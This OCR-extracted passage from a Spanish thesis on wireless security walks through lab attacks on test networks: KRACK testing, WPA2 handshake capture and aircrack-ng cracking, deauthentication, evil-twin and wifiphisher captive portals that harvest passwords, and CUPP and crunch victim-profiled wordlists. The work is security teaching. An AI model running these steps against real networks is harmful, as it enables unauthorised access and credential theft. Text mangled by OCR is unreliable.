Esta restriccion geografica dificulta significativamente las oportunidades para los atacantes,
ya que deben estar presentes en el lugar fisico donde se encuentra la red para ejecutar sus
intentos. Por ende, esta préactica contribuye a fortalecer la seguridad al disminuir las
oportunidades de acceso no autorizado desde ubicaciones externas, proporcionando una capa

adicional de proteccién para la red inalambrica.

Es importante entender que al ser un nuevo protocolo de seguridad la mayoria de los
dispositivos inaldmbricos no son compatibles con WPAS. En lugar de ello, se recomienda
configurar la red en modo WPA2/WPAS transicion, Esta configuracion permite que los
dispositivos compatibles con WPAS3 se conecten automaticamente, mientras que aquellos que
aun no son compatibles seguiran utilizando el estindar WPAZ2. Esta estrategia proporciona
una transicion gradual hacia WPAZ3, asegurando la compatibilidad con la variedad de

dispositivos presentes en la red y evitando posibles problemas de conexion.

Para mitigar posibles ataques inalambricos, se recomienda mantener todos los
dispositivos actualizados con sus Ultimas versiones y parches de seguridad correspondientes.
A pesar de la aparicion de nuevos protocolos que puedan parecer invulnerables, con el
tiempo, las vulnerabilidades emergen y son aprovechadas por atacantes antes de que
implementen los parches correctivos. Aungue los expertos suelen descubrir estas
vulnerabilidades, es crucial reconocer que los ciberdelincuentes podrian haberse infiltrado
mucho antes de que se hagan publicas. Por lo tanto, la prevencion de ataques inalambricos se
basa en la proactividad de mantener actualizados los dispositivos y aplicar rapidamente los

parches de seguridad disponibles.
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ANEXO 1
Ataque de Reinstalacion de Claves (KRACK)
Para esta vulnerabilidad se va a hacer uso de un script referente a ataques de
reinstalacion de claves siempre que el atacante se encuentre en el rango de la victima, por lo
que el primer paso para realizar esto es necesario clonar el repositorio de GitHub en el que se

encuentra ubicado el script tal como se ilustra en la Figura 197.

Figura 197

Clonacion de repositorio de Krack-Attacks

@parrot

@parrot
#

@parrot
#

Un paso importante es tener el sistema operativo actualizado, esto se logra con el
comando “apt update”, ademas de esto se debe tener instalados paquetes extra para el
correcto funcionamiento de los scripts tal como se ilustra en la Figura 198. Realizada la
instalacion toca dirigirse al directorio de los scripts en el gque se encuentran algunos ejemplos

o scripts para diferentes ataques como se observa en la Figura 199.

Figura 198

Actualizacion e instalacion de paquetes necesarios

@parrot
#
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Figura 199

Directorio de los scripts

@parrot

D Documentos I s krackattacks-scripts Misica Publico Templates
@parrot

@parrot

wpa_supplicant

hle-hwerypto.sh

En el directorio se debe compilar la instancia de hostapd y crear un entorno virtual en
python ejecutando los comandos “./build.sh y ./pysetup.sh”. El siguiente paso es dar permios
a todos los usuarios con el comando “chmod 777" al archivo que permite el cifrado de
hardware esto para obtener resultados 6ptimos como se observa en la Figura 200. De igual

manera tal como lo ilustra la Figura 201 se realiza la copia del archivo defconfig.

Figura 200

Cambio de permisos

Figura 201

Copia de archivos

@parrot

@parrot

wps-ap-nfc.py

@parrot
#
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Se compila los archivos de la carpeta hostapd con la ayuda del comando “make” tal
como se ilustra en la Figura 202, finalizado esto se debe verificar las interfaces de red y
observar el nombre de la interfaz inalambrica en el equipo, seguido se debe configurar el
archivo de configuracion “hostapd.conf” con el nombre de la interfaz y se guarda los cambios

como se ilustra en la Figura 203.

Figura 202

Compilacidn del codigo fuente

I-[ @parrot
#

Figura 203

Configuracion del archivo hostapd.conf
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Para verificar si los dispositivos son vulnerables se procede a la ejecucion del script
basado en python por lo que se utilizaran dos dispositivos en este ejemplo como se observa
en la Figura 204 uno de estos dispositivos es vulnerable y el otro no, esto prueba las
reinstalaciones de claves en el protocolo de enlace de 4 vias enviando repetidamente
mensajes cifrados 3 al cliente, lo que permite a un atacante dentro del alcance de la radio

reproducir, descifrar o falsificar tramas.

Figura 204

Ejecucion del codigo

1-1 @parrot
#

Como se observa en la Figura 205 y la Figura 206 al momento de realizar el ataque se
envia hacia un dispositivo que no es vulnerable a la reinstalacion de claves, por lo que debe
aparecer dos tipos de mensajes: “El cliente no reinstala la clave por pares en el protocolo de
enlace de 4 vias (esto es bueno) (ataque estandar usado)” y “el cliente no reinstala la clave de

grupo en el protocolo de enlace de 4 vias (esto es bueno)”.

Figura 205

Cadigo en ejecucidn en cliente no vulnerable




Figura 206

Cadigo en ejecucidn en cliente no vulnerable
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En el caso de tener un dispositivo vulnerable al momento de realizar el ataque como

se ilustra en la Figura 207 aparece un mensaje similar a este: “Se detect6 reutilizacion "IV"

(IV =1, secuencia = 4). El cliente reinstala la clave por pares en el protocolo de enlace de 4

vias (esto es malo)”.

Figura 207

Cadigo en ejecucidn en cliente vulnerable

@parrot
#

). Client

einstalls the pairwise key

in the 4-way handshake (this is bad)
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ANEXO 2
Ataque de Fuerza Bruta Basado en Handshake
Para este caso se tiene un dispositivo configurado con un SSID de “Red Cristian”,
una encriptacion WPA2 y una contrasefia débil “12345678” ilustrado en la Figura 208. Lo
primero que se debe realizar es cambiar el modo de la tarjeta de red que viene por defecto a
su modo monitor o promiscuo para lograr detectar las redes cercanas que se encuentran en el

alcance de la tarjeta de red tal como se observa en la Figura 209.

Figura 208

Configuracién contrasefia router con WPA2

o WPAMPAZ - Personal (Recomendado)
Wersidn 'Aumma'ﬁ-:a v)
Encriptacion AES W
Contrasefia inaldmbrica
Puede introducir caracteres ASCI de & a 63 o caracieres hexadecimales entre 8y 64
Periodo de actualizacion de ka clave del grupo 0 Sequndos

Mantenga k2 ubicacibn pradetarminada si no estd segure, minima es de 30, 0 significa no acluakzar

Figura 209

Redes disponibles

Archivo Acciones Editar Vista Ayuda
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Se procede a utilizar otra herramienta de Kali la cual es “airodump-ng” que permite
escanear las redes y captura vectores de inicio mediante opciones para elegir una sola red en
especifico con “--bssid” seleccionamos la direccion MAC del dispositivo, con “--channel” en
el canal que se encuentra trabajando el dispositivo, con “w” se crea los archivos de captura de

datos y finalmente se selecciona la interfaz de red mostrado en la Figura 210.

Figura 210

Herramienta airodump-ng

Archivo Acciones Editar Vista Ayuda

|sude] password for crisilan:
2 fhomefcristian
B4:D8:1B:FOH:QB: &4 11 trafico wl 1II'|'|I|'.

Los archivos creados son una captura en Wireshark, tres archivos de Excel los cuales
muestran informacion de la auditoria y un archivo netxml observados en la Figura 211, el
primer archivo es con extensién .cap la cual pertenece a wireshark y se observa en la Figura
212, el segundo archivo es un Excel que muestra la informacion de la auditoria como se
observa en la Figura 213 tal como la direccion MAC, la primera vez que se observo la red y
la Gltima, el canal en el que esté trabajando, la velocidad, el cifrado, la autenticacion, la
potencia de la sefial y el nombre de la red, el tercer archivo muestra un resumen de la red
como se observa en la Figura 214, y en la Figura 215 se observa todos los log que se tuvo en

el momento de la auditoria.

Figura 211

Archivos creados de la captura de datos

trafico-04.cap afico-04.kismet.c trafico-04.kismet.n
SV etxml




Figura 212

Captura de datos en Wireshark

mmwrw-

-
-

Figura 213

Datos de la

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
84:D8:18:F6:08:44, 2022-10-14 13:21:36, 2022-10-14 13:25:14, 11, 405, WPA2 WPA, CCMP, PSK, -31, 2094, 351, 0. 0. 0. 0, 12, Red_Cristian,

8
3

i
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3 Mull function (N0 data). $4-083.

S Mull Pusction (NG data).
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Jags

§s Will Parction (No (ALA). S4-063,
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802 .11 1 Ml'-o-lwl. ‘l-q‘-
Dyles on wi i!l“ Bits), m bytes cnlurol (2184 bits)

B ac o rr-. ........

Wireless l-\..-—

H

red “Red_Cristian”

Station MAC, First time seen, Last time seen, Power, # packets, 8SSID, Probed ESSIDs

9C:5C:F9:CA:C7:B0,

Figura 214

2022-10-14 13:21:36, 2022-10-14 13:24:44, -51, 909, 84:D8:18:F6:08:44,

Resumen de la red “Red_Cristian”

Network  NetType B350 ESSD  nfo Chamnel  Cloated  Encyplien  Decypled  Mafiate  MaSeesRutBescon  LC Duta (gt ek
1infrastructor Red Cristian S 081876084 ko WRALWRA N 450 0 0 0 £} 0

Figura 215

Logs de la red “Red Cristian™

LocalTime, GPSTime, ESSID, BSSID, Power, Security, Latitude, Longitude, Latitude Error, Longitude Error, Type
2022-10-14 13:21:36,1900-01-00 00:00:00, 84:D8:18:F6:08:44,-31, ,0.000000,0.000000,0,000,0,000, AP

2022-10-14 13:21:36,1900-01-00 00:00:00,, 5C:5C:F 9:CA:C7:80,-45,,0.000000,0.000000,0,000,0.000,Client
2022-10-14 13:21:36,1900-01-00 00:00:00,,9C-5C:F 9:CA:C7:80,-46,,0.000000,0.000000,0,000,0.000,Client
2022-10-14 13:21:36,1900-02-00 00:00:00,,9C-5C:F9:CA:C 7:80,-26,,0.000000,0.000000,0.000,0.000,Client
2022-10-14 13:21:36,1900-01-00 00:00:00,, 9C-5C:F9:CA:C 7:80,- 38,,0.000000,0.000000,0.000,0.000,Client
2022-10-14 13:21:36,1900-01-00 00:00:00, 9C-5C:F9:CA:C7:80,-18,,0.000000,0.000000,0.000,0.000,Client

Tetal
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Una vez seleccionada la interfaz de red “wlanOmon”, se muestra la informacion de los
dispositivos conectados a esa red como en este caso solo existe un dispositivo conectado lo
que es suficiente para realizar la auditoria, dado que se tiene ambas direcciones MAC como

se indica en la Figura 216.

Figura 216

Auditoria de la red “Red Cristian”

root Cristian”_home cristian

Archivo Acciones Editar Vista Ayuda

Lo siguiente es utilizar la herramienta “aireplay-ng” que inyecta trafico para elevar la
captura de vectores de inicio, en este caso se selecciona la opcion “-0” la cual permite la
desautenticacion a los dispositivos seleccionados en este se realizara una sola, se selecciona
la direccion MAC del router y también la direccion MAC del dispositivo y la interfaz de red

“wlanOmon” como se observa en la Figura 217.

Figura 217

Herramienta aireplay-ng

/home/cristian
1 84:D8:1B:F6:0B: 44 9C:5C:F9:CA:C7:B0 wlan®mon
Waiting for beacon frame (BSSID: 84:D8:1B:F6:0B:44) on channel 11
Sending 64 directed DeAuth (code 7). STMAC: [9C:5C:F9:CA:C7:B0] [ 0155 ACKs]

/home/cristian

Con la desautenticacion enviada hacia el dispositivo lo que sucede es que el

dispositivo se desautentica del router y el dispositivo debe realizar el proceso de asociacion
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nuevamente en ese proceso se recibe el handshake como se muestra en la Figura 218 y con

esto capturado ya se puede conocer la contrasefia.

Figura 218

Captura del handshake

Editar Vista Ayuda

root Cristian™ home,cristian

Archivo Acciones Editar Vista Ayuda

Dentro de las capturas se puede verificar el protocolo de autenticacion extensible
sobre LAN (EAPoL) desarrollado para brindar un inicio de sesion de red genérico para
acceder a los recursos de la red, se puede observar el proceso que se realiza en el handshake

de 4 vias entre los dispositivos observado en la Figura 219.

Figura 219

Captura del protocolo EAPoL en Wireshark

Archivo Edicidn Visualizacidn I Captuwa Analizar Estadisticas Telefonfa Wireless Hemmamientas Ayuda

T— T - —— —_— o —
4 § e B NG QesEF 3| .= QT
aapaol
Hio Time Source Destnation Protocol Lengtt Info
136 Omy_Ca:Cl:bb p-Link [ 1533 Key (Meszage £ of 4]
1146 78. 200356 Tp-LinkT_f&:6b:44 Sony _ca:cl:bd EAPOL 213 Key (Meszage 3 of 4)
31142 78. 284426 Somy ca:cl:bl Tp-LinkT_f&:8b: 44 EARPOL 133 Key (Messages 4 of 4)
31143 78. X06662 Somy ca:cT:bl Tp-LinkT_f&:8b:44 EAPOL 133 Key (Meszage 4 of 4)

Finalmente se utiliza la herramienta “aircrack-ng” que descifra la clave de los
vectores de inicio mediante una libreria de claves que viene incluida en Kali llamada

“rockyou.txt” la cual posee mas de 14 millones de contrasefias faciles de descifrar o las mas
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comunes, seleccionamos el directorio donde se encuentra la libreria de claves, la direccién
MAC del router y el archivo de captura de datos de extension .cap como lo indica la Figura

220.

Figura 220

Herramienta aircrack-ng

/home/cristian

[usr/share/wordlists/rockyou.txt 84:D8:1B:F6:0B:44 traflco-OA.cagl

Realizado el proceso de aircrack dependiendo de la robustez de la contrasefia y el
procesador que se tenga esto demorara mas o menos tiempo, para el caso de la practica se
escogid una contrasefa sencilla de descifrar tal como se indica en la Figura 221, la
herramienta al final descubrid la clave en menos de un segundo, con lo que queda demostrado
que el protocolo WPAZ2 es robusto Gnicamente con contrasefias robustas y una gran mezcla de

caracteres tanto mayusculas, mindsculas como numeros.

Figura 221

Descifrado de contrasefia

root Cristian™ home cristian
Archivo Acciones Editar Vista Ayuda
Aircrack-ng 1.6
[00:00:00] 22/10303727 keys tested (165.20 k/s)
Time left: 17 hours, 19 minutes, 3@ seconds

KEY FOUND! [ 12345678 ]

Master Key

Transient Key

EAPOL HMAC

/home/cristian
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ANEXO 3
Ataque de Gemelo Malvado (Twin Evil)

Para esta vulnerabilidad se utiliza la herramienta “Airgeddon” la cual esta disefiada
para realizar auditorias Wi-Fi, con esta herramienta es posible administrar los modos de las
interfaces de red, capturar handshakes y PMKID, realizar ataques como Evil Twin, crackear
offline los hashes obtenidos mediante ataques por diccionario, fuerza bruta o basados en
reglas y mucho mas, en caso de no constar con la herramienta se procede a instalarla como se

observa en la Figura 222.

Figura 222

Instalacion “Airgeddon”

-] /home/cristian

Al iniciar la herramienta airgeddon como se observa en la Figura 223, se necesita la
instalacion de herramientas esenciales, opcionales y de actualizacion para el correcto

funcionamiento de airgeddon tal como se ilustra en la Figura 224.

Figura 223

Herramienta “Airgeddon”

Archivo Acciones Editar Vista Ayuda
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Figura 224

Instalacion herramientas opcionales

cla [Enter] para'continuar ...

Pulsa la tecla [Enter] para continuar...[]

Para el uso de esta herramienta es necesario tener dos interfaces inalambricas como se
observa en la Figura 225, una sirve para realizar el ataque y otra para la creacion del AP falso

al que se conectaré el cliente.

Figura 225

Seleccion de interfaz

Intel Corpor
Qu

ps://discord
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Se selecciona la interfaz inalambrica que debe soportar el modo monitor como se
observa en la Figura 226, para este caso la interfaz seleccionada sera la que tiene un chip
Atheros, seguido de esto se selecciona la opcion de evil twin con portal cautivo como método

de ataque como se ilustra en la Figura 227.

Figura 226

Interfaz wlanQ en modo monitor

Figura 227

Seleccidn de ataque evil twin

Archivo Acciones Editar Vista Ayuda

do monitor reguerido)

Atague Evil Twin AP con portal cautive (modo monitor requerido)

Se explora los posibles objetivos inalambricos como se observa en la Figura 228, se
selecciona la red con WPA3 y seguridad SAE como se ilustra en la Figura 229 y finalmente
se selecciona la red objetivo con el numero de la red que se desea atacar como se observa en

la Figura 230.
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Figura 228

Redes inalambricas disponibles

Exploring for targets

CH

Fl =
HAFER
METLIFE-\

Figura 229

Red con seguridad WPA3

Figura 230

Seleccién de red con seguridad WPA3

BURGER
WEAT c (_WAST PISO4

HPA3 : CH

Red con clientes
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Se selecciona la opcion necesaria para el ataque de evil twin como se observa en la
Figura 231, seguido de esto es necesario seleccionar el modo persecucion DoS como se
observa en la Figura 232 y ademas se puede falsear la direccion MAC el tiempo si es que se

tiene un handshake capturado con anterioridad como se observa en la Figura 233.

Figura 231

Ataque de desautenticacion

Archivo Acciones Editar Vista Ayuda

ciona una opcion del menu
Volver al menud de ataques Evil Twin
Ataque Deauth / Disassoc amok mdk&4

Ataque Deautl replay
Ataque WIDS / WIPS / WDS Confusion

Figura 232

Modo persecucion DoS

thub.com/v1s1t0rish3r3

Figura 233

Opciones de la herramienta

Pulsa la tecla [Enter] para continuar ... i
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En la Figura 234 se puede observar el ataque de desconexion, mientras que en la
Figura 235 se realiza la captura de handshake, en la Figura 236 se debe elegir la ruta en la que
se guarda el archivo .cap que contiene el handshake, mientras que en la Figura 237 se elige la

ruta de guardado el archivo .txt que ensefiara la contrasefia colocada en el portal cautivo.

Figura 234

Ataque de desconexion

mdk4 amok attack

Figura 235

Captura de handshake

Capturing Handshake

CH 11 1[ Elapzed: 12 =
ME  EMNC CIPHER AUTH ESSID
BO+A7+BI+FC:C42FE -2 ) 41 ] n 11 360 WPAS CCMP SAE  TE
SID STATION late =t ~amez  Motes  Probes

0:A7:BI:FC:C42FS  AZ:DE:4A:20:AF ;BE

Figura 236

Archivo de guardado .cap

capturar un Handshake, se ha comprobado que se capturado con éxito también un PMKID de la red elegida como objetivo

a por defecto [/root/handshake-B@:A7:B9:FC

Pulsa la tecla [Enter] para continuar ...
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Figura 237

Ruta de guardado

Se puede configurar el idioma en el que saldra el portal cautivo tal como se observa

en la Figura 238, solo es necesario elegir el nimero del idioma para configurarlo.

Figura 238

Idioma para el portal cautivo

Archivo Acciones Editar Vista Ayuda

=)

2 £
p
3
4.
9
75

La herramienta tiene diferentes funciones como crear un AP falso como se observa en
la Figura 239, crea un servidor DHCP como se ilustra en la Figura 240, produce una
desautenticacién de los clientes como se observa en la Figura 241, aparece una ventana extra
de control de la herramienta como se ilustra en la Figura 242, crea un servidor DNS como se
observa en la Figura 243 y finalmente crea un servidor web como se ilustra en la Figura 244.
Todo esto se realiza al mismo tiempo para realizar de manera correcta el ataque como se

observa en la Figura 245.
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Figura 239

Activacion de AP falso

UPDATE

Figura 240

Configuracién de DHCP

Figura 241

Desautenticacion del cliente

Figura 242

Informacion control

Info Evil Twin AP // tFCiC4:F3 A7

Tiempo online
q

Ips entregadas por DHCP a posibles clientes conectados
Mo ier (i
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Figura 243

Configuracién de DNS

Figura 244

Configuracion del servidor web

Webserver

arted (lighttpdsl

Figura 245

Herramienta airgeddon

Una vez puesta en marcha la herramienta aparece la red creada sin ningun tipo de

seguridad como se ilustra en la Figura 246 (a) al momento de tratar de conectarse a la nueva
red aparece un portal cautivo con el nombre de la red en la que se debe ingresar la contrasefia

de la red como se ilustra en la Figura 246 (b).
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Figura 246

(a) Red falsa (b) Portal cautivo

&«  WiFi

Wi-Fi

Asistente de Wi-Fi

TESIS_CH

NETLIFE-VLTCEJA

TESIS_CH

TESIS_CH 5GHz  sei

Acceder a TESIS_CH

conn-ser vice-us-O4.dllawnos.com

Red inalamborica, ESSID:
TESISCH

Introduzca su contraseria de acceso a la red
indlamlorica para poder acceder a internet

19950218

Mostrar contraseria

Enviar

En la ventana de control de la herramienta aparece la contrasefia colocada en el portal

cautivo como se observa en la Figura 247, en la Figura 248 se observa los archivos creados



los cuales contienen la informacion de la contrasefia, y finalmente como se observa en la

Figura 249 se abre el archivo .txt la cual contiene la informacion de la contrasefia.

Figura 247

Informacion del ataque evil twin

Control

Info Evil Twin AP /7 N4 e 11 47

online
9

Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrard

Figura 248

Archivos de captura de contrasefia

N
&

EvilTwin.cap

evil_twin_c...

Figura 249

Captura de contrasefia

2023-05-10
airgeddon. Contrasena capturada en el portal cautivo del ataque Evil Twin

BSSID: BO:A7:B9:FC:C4:F3
Canal: 11
ESSID: TESIS_CH

Contrasefa: 19950218

Si te gusto el script y te parecio atil, puedes apoyar el proyecto haciendo una
donacion. A traves de PayPal (v1slt@r.1s.h3r3@gmail.com) o enviando una Traccion
de criptomoneda (Bitcoin, Ethereum, Litecoin...). Cualquier cantidad por pequefia
que sea (1, 2, 5 $/€) es bien recibida. Mas informacidn y enlaces directos para

realizarla en: https://github.com/v1sit@rish3r3/airgeddon/wiki/Contributing
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ANEXO 4
Ataque de Suplantacion (Rogue AP)
Para realizar esta vulnerabilidad es necesario la herramienta de seguridad
“wifiphisher” como se observa en la Figura 250 la cual permite montar rapidamente ataques

automatizados de phishing contra redes WPA, con el fin de obtener la contrasefia secreta.

Figura 250

Herramienta wifiphisher

/fhome/cristian

Esta herramienta permite escanear las redes inalambricas disponibles tal como se

ilustra en la Figura 251, se selecciona la red de la que se desea conocer la contrasefia.

Figura 251

Redes inaldmbricas disponibles

NETLIFE-VLTCEJA 4:d8:1b:f6:0b:44 11 100% WPA/WPS Unknown
DSComp (MICROELECTRONICA) Unknown
CLIENTES Unknown
NETLIFE-VLTCEJA Unknown
America_24 WPA2/WPS Unknown
CONSULTORIO WPA2/WPS 6 Unknown
UMAWI WPA2/WPS B Nexxt Solutions
NETLIFE NICOLE WPA2/WPS Unknown
NETLIFE NICOLE WPA2/WPS Unknown
NETLIFE-otvdmbombonsl WPA2/WPS ©  Unknown
NETLIFE-Hostal Aly Piso 3 WPA/WPS Tp-link Technologies
WPA2 Unknown
WPA2/WPS 3  Unknown
WPA2 B Unknown
WPA2/WPS Unknown
36% WPA2/WPS ©  Unknown
36% WPA2/WPS Unknown
el WPA2 B  Unknown
WPA2 B Unknown
WPA2/WPS Unknown
WPA2 B  Unknown
WPA B Unknown
WPA2/WPS Unknown
WPA 8  Unknown

ONFIBER-CALLE BOLIVAR
PLUS_SNEAKER
SUMAK WASI PIS04

NETLIFE SAMAWA

Flia Lema EXT
NETLIFE-ELIZABETH G
SSID4

prueba

NETLIFE ACSAA

PLUS YARIKS BOUTIQUE 2
PRINCIPE

MAFER

APO3008983

HFRFFFRFOOHFUDRWOWNNRFRFRFROOOFWSNWW
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En este caso se selecciona la red “TESIS CH” que tiene seguridad WPA3/WPA2
transicion esta herramienta detecta tanto direccion MAC como el canal e incluso la potencia

de sefial que transmite el AP como se observa en la Figura 252.

Figura 252

Red “TESIS CH”

NETLIFE-VLTCEJA 8 3:1b:f6:0b:44 11 100% WPA/WPS P Unknown
Una vez seleccionada la red deseada, se puede seleccionar la opcion para llevar a cabo

el ataque como se observa en la Figura 253, para el caso se utilizara una pagina de update de

firmware como se observa en la Figura 254.

Figura 253

Opciones de wifiphisher

root@cristian: fhomejcristian

Archivo Acciones Editar Vista Ayuda

Options: [Up Arrow] Move Up [Down Arrow] Move Down
Available Phishing Scenarios:

1

A free Wi-Fi S s for social network c

? = Network Manager Connect

asking for WPA/WP

r plugin upda

Figura 254

Opcidn de actualizacion de firmware en wifiphisher

A router configuration page without logos or brands asking for WPA/WPA2 password due to a

firmware upgrade. Mobile-friendly.
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Esta opcidn envia tramas de desautenticacion y desasociacion de la red objetivo como
lo ilustra la Figura 255, a la vez la herramienta emite una sefial con el SSID igual que la red

verdadera, pero sin ningun tipo de seguridad.

Figura 255

Desautenticacion y desasociacion de la red

|

\

B | ESSID: TESIS CH
DEAUTH/DISAS - f 53:b2:7c | Channel: 11

DEAUTH/DISAS - 9c:5c:f9:ca:c7:b0 | AP interface: wlx@0c@ca%8f6e
0 | Options: [Esc] Quit

DEAUTH/DISAS - 44

En la Figura 256 (a) se puede observar como la herramienta emite una sefial de AP
falso con el mismo SSID sin seguridad inalambrica, al momento de conectarse a la red falsa
envia directamente a una pagina falsa sobre una actualizacién de firmware como se observa

en la Figura 256 (b).

Figura 256

(a) Emision de la red falsa (b) Pagina de actualizacion de firmware
&~ WiFi

Asistente de Wi-Fi

TESIS_CH

NETLIFE-VLTCEJA

TESIS_CH.56GHz

Una vez en la pagina falsa se debe ingresar la contrasefia como se ilustra en la Figura

257 (a), seguido de esto la supuesta actualizacion continua como se observa en la Figura 257

(b).
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Figura 257

(a) Ingreso de contrasefia (b) Supuesta actualizacion de firmware

202 REAN 2032 © M e

Acceder a TESIS_CH

conn-ser vice-us-O4.allawnos.com

Acceder a TESIS_CH

con IS a

e T0llowIng Terms and conditions and proceed.

Terms And Conditions:

1 LICENSE.

Sub ject to the terms and conditions of this Sof tware

License Agreement, Unknown hereby grants you a )

restricted, limited, non-exclusive, non-transferable, license ]:‘ Fimware UP@ ra d@ Il’l

to use the Unknown Firmware/Sof tware/Drivers only in

S il 0| Progress
L. Agnzalish Aove Jervs g Londors The update is currently being uploaded to the router
WPA2/WPS Pre-Shared Key Please do not disconnect or furn of £ the router whie
it's being updated
St lba L% N N NN N
© Unknown 2023, All Rights Reser ved © 2023, NIRights Reser ved

Al momento de ingresar la contrasefia en la pagina de actualizacion de firmware falsa
la herramienta wifiphisher captura los datos ingresados en este caso la contrasefia de la red

como se puede observar en la Figura 258.

Figura 258

Contrasefia obtenida
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ANEXO 5
Ataque de Diccionario y Fuerza Bruta

Primero se requiere descargar del repositorio de GitHub el programa “Common User
Passwords Profiler (CUPP)” tal como se observa en la Figura 259, una vez descargada se
procede a abrir el programa con el comando “./cupp.py -1”” esto para tener una interfaz grafica
con preguntas interactivas ilustrado en la Figura 260, esta herramienta permite crear
diccionarios propios especificamente para una persona en concreto realizando un poco de
ingenieria social para poder determinar ciertos datos o informacion referente a la persona tal
como nombre, apellido, fecha del cumpleafios, datos de la pareja, datos del hijo, datos de la
mascota, nombre de compafiia, aparte de esto se puede agregar palabras extras relevantes a
esa persona, incluso es posible insertar caracteres especiales y numeros aleatorios tal como se
ilustra en la Figura 261.
Figura 259

Clonacidn de repositorio cupp

fhome/cristian
clone https://github.com/Mebus/cupp
Clonando en 'cupp’ ...

remote: Enume : 7, done.
remote: Total (de used 0 (delta @)
Recibiendo objetos: 10 (237), 2.14 MiB
Resolviendo deltas: ! y listo.
Figura 260
Inicio de cupp

/home/cristian/cupp

# [Wommon

# ser

# [Fasswords
# Erofiler

[ Muris Kurgas | j@rgangremote-exploit.org ]
[ mebus | https://github.com/Mebus/]
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Figura 261

Ingreso de datos para cupp

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Prueba

> surname: WPA3

> Nickname: wpa3

> Birthdate (DDMMYYYY): 18021995

> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY)

> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):

> Pet's name:
> Company name: UTN

> Do you want to add some key words about the victim? Y/[N]: Y

> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: 0991971238
> Do you want to add special chars at the end of words? Y/[N]: Y

> Do you want to add some random numbers at the end of words? Y/[N]:Y

> Leet mode? (i.e. leet = 1337) Y/[n]: ¥

[+] Mow making a dictionary...

[+] sorting list and removing duplicates...
[+] saving dictionary to , counting
> Hyperspeed Print? (Y/n) : ﬂD

Esto crea el proceso de generacién de claves mediante los parametros anteriormente
insertados tal como se ilustra en la Figura 262 (a) esto tardara dependiendo de los parametros
insertados. Una vez finalizada la creacion del diccionario se observa un archivo con el
formato de texto ilustrado en la Figura 262 (b). Este archivo de texto se crea en el directorio
del programa como se observa en la Figura 263 por lo que aplicando el comando “nano” se
puede observar el archivo y la lista de 14304 posibles combinaciones creadas un ejemplo de
las combinaciones se observa en la Figura 264.

Figura 262

(a) Creacidn del diccionario (b) Diccionario terminado

[prueba.txt] 188995

[+] Mow load your pistolero with and shoot! Good luck!
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Figura 263

Directorio de cupp

2 /home/cristian/cupp

1s
CHANGELOG.md cupp.cfg cupp.py LICENSE prueba.txt README.md test_cupp.py

2 /home/cristian/cupp

nano 1‘ueba.txt
Figura 264

Contrasefias creadas

Pru3b4wp431
Pru3b4wp432
Pru3b4wp433

Pru3bdwpi34
Pru3b4wp435
Pru3b4wp436
Pru3b4wp437

En caso de no se encontrar la combinacion en esta lista es recomendable utilizar otra
herramienta como lo es “crunch” la cual permite generar diccionarios con criterios
establecidos por el usuario como se ilustra en la Figura 265, los pardmetros para la
configuracion de esta herramienta es tener una lista de contrasefias con un nimero minimo de
11 caracteres y maximo de 11 caracteres con la palabra inicial “Prueba” seguido de un
caracter especial y las cuatro ultimas especificaciones sean nimeros aleatorios, con esta
nueva lista creada se puede agregar al anterior archivo de texto y finalmente utilizar un

ataque de fuerza bruta para poder lograr obtener la contrasefia del usuario.

Figura 265

Herramienta Crunch

2 /home/cristian/cupp
crunch 11 11 Prueba”%%%% prueba.txt
Crunch will now generate the following amount of data: 3960000 bytes
3 MB

@ GB
@ TB
@ PB
Crunch will now generate the following number of lines: 330000
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De igual manera gracias a la herramienta fern wifi cracker que se ilustra en la Figura
266 basado en aircrack-ng se puede tratar de lograr obtener las credenciales de la red
mediante los diccionarios anteriormente creados y gracias a la ruptura criptogréafica de
credenciales de la herramienta. Primero se selecciona la interfaz de red con la que se debe

trabajar la cual va a escanear todas las redes WPA.

Figura 266

Fern Wi-Fi Cracker

Python Version:
Aircrack Version:

Gt Version:

About Fern WIF] Cracker

GUI suite for wireless encryption strength testing of 802.11 wireless encryption standard access points

Written by Saviour Emmanuel Ekiko Report Bugs at : savioboyz@rocketmail.com

Al principio del ataque se despliega el panel de ataque en el que se permite elegir la
red inalambrica, una vez seleccionada la red aparecen los detalles del Access Point ensefiando
informacion importante como el SSID, la direccion MAC, el canal, la potencia de

transmision, la encriptacion. Otro de los pasos es seleccionar el tipo de ataque, el diccionario
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creado para tratar de encontrar las credenciales y capturar el handshake como se observa en la

Figura 267.

Figura 267

Inicializacion del software

Attack Panel

get Access Point

NETLIFE-otviconejom2 NETLIFE-VLICEJA ONFIBER-CALLE_BOLIVAR PLUS_RED_HOGAR

(D)) (¢)) [(B)) () ()] ()
7/ 7 W \-l /4 A\ 4 W7

| | | |
PLUS_SNEAKER  PLUS_YARIKS_BOUTIQUE_2 PRINCIPE prueba  SistemRV340W  SSID4 R stop

(¢)) (¢)) () (¢)) (¢)) Automate
\‘l'l '~."|') \ | ’ \‘|'/ \‘|'/

STRET BURGER SUMAKWASI PISO4 JJESISSCHE UMAWI  YUYARA

Supports WPS
Attack Option

Regular Attack WPS Attack

Probing Access Point

Deauthenticating A2:D6:4A:30:AF:BB rockyou.txt Browse

Handshake Captured FCAG2153:B2:7C
Bruteforcing WPA Encryption caraluna

Speed: 757.48 kis

Al tener todos los recursos necesarios como el handshake y el diccionario se procede
a realizar el ataque, esto dependera del tamafio del diccionario seleccionado y si se encuentra
en esta lista las credenciales correctas, en caso de ser asi las credenciales seran ensefiadas en

la parte inferior de la ventana tal como se observa en la Figura 268.



Figura 268

Obtencidn de credenciales con FWC

Attack Panel

Target A

NETLIFE-otviconejom2 NETLIFE-VLICEJA ONFIBER-CALLE_BOLIVAR PLUS_RED_HOGAR
) 5) 5) o)) 5)
&) «“ “ ) “»

PLUS_SNEAKER PLUS_YARIKS_BOUTIQUE_2 PRINCIPE prueba SistemRV340W  SSID4

(D)) ()] (&) (&)
() : ) )

k Option

Regular Attack WPS Attack

Probing Access Point
Deauthenticating A2:D6:4A:30:AF:BB
FCAB

Handshake Captured

Bruteforcing WPA Encryption 1999999999

Finished

211

| |

Automate

Supports WPS

rockyou.txt
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ANEXO 6
Ataque de Desautenticacion y Desasociacion

